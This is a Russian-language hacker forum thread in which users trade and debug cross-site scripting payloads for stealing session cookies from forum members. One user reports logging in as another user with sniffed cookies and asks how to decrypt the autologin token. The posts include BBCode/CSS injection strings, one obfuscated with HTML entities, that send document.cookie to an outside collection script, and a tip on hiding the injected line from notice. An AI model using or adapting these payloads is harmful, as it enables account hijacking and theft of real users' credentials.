Отснифал кукисы, могу зайти под юзером, но есть ли возможность расшифровать пароль? a:2:{s:11:"autologinid";s:33:"1594701932437793947762e4.02269531";s:6:"userid";i:1161;} 1594701932437793947762e4.02269531 - Это какой алгоритм шифрования, Спасибо за помощь!
Нет не ленивый , я всегда в поиске нового, пробывал XSS для этого, убрал все плюсики, но форум переобразует в [eror_url][/B], почему он так д... пор не объяснил, может ты сам объясниш?
HTML: [url]http://www.[url=http://wj.com/style=display:none;background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;) ]wj[/url][/url] Ну так поможет? Подставь ; знак чтобы закрыть символ. А вообще, преведи результат кода который ты постишь. Я просто уже не знаю как его тут запостить, уже ведь и видео снял...и статью написал! Что ещё нужно? Может народовский сайт создать а там в тексте мх
HTML: [url]http://www.[url=http://wj.com/style=display:none;background&+#58;&+#117;&+#114;&+#108;&+#40;&+#106;&+#97;&+#118;&+#97;&+#115;&+#99;&+#114;&+#105;&+#112;&+#116;&+#58;&+#100;&+#111;&+#99;&+#117;&+#109;&+#101;&+#110;&+#116;&+#46;&+#105;&+#109;&+#97;&+#103;&+#101;&+#115;&+#91;&+#49;&+#93;&+#46;&+#115;&+#114;&+#99;&+#61;&+#34;&+#104;&+#116;&+#116;&+#112;&+#58;&+#47;&+#47;&+#97;&+#110;&+#116;&+#105;&+#99;&+#104;&+#97;&+#116;&+#46;&+#114;&+#117;&+#47;&+#99;&+#103;&+#105;&+#45;&+#98;&+#105;&+#110;&+#47;&+#115;&+#46;&+#106;&+#112;&+#103;&+#63;&+#34;+document.cookie;&+#41;&+#32;]wj[/url][/url] Я убераю все плюсики, но всё равно не пашет.
в html теги засунь. Нет, результат в html засунь Я ведь не вижу если просто запостишь они просто на форуме сработают! Покажи результат что ты делаешь, и засунь это всё так же в теги на античатовском форуме. Работает только в ИЕ не забывай этого.
<<YaYaYa>> , Я еще раз говорю, я не знаю как отснифать куки поэтому и прошу это подробно объяснить. У меня работает код алерта (исправленный). У тебя этот код работает? Что выдает форум?
ну лови в личку... просто все говорят, что и код алерта не работает, а он может работать. наверно, если код воровки исправить по тому же принципу, то и он заработает? (я предполагаю)
Куда ставить код? Как получить куки конкретного юзера? Где они пропишутся? Как сам процесс идет, если код известен?
<<YaYaYa>> , ты проверил с изменениями, которые я тебе в личку кинул? Работает? Спасибо, кстати, за объяснение. Вроде бы понял... Если что, еще спрошу.
Кстати небольшой совет: для дополнительной страховки задавайте строчке скрипта размер 1. Тогда ваши возможные косяки во многих случаях пройдут незамеченными
этого видео, как я понял на античате больше нет. огромная просьба, если оно где-то есть, поделиться. pls...
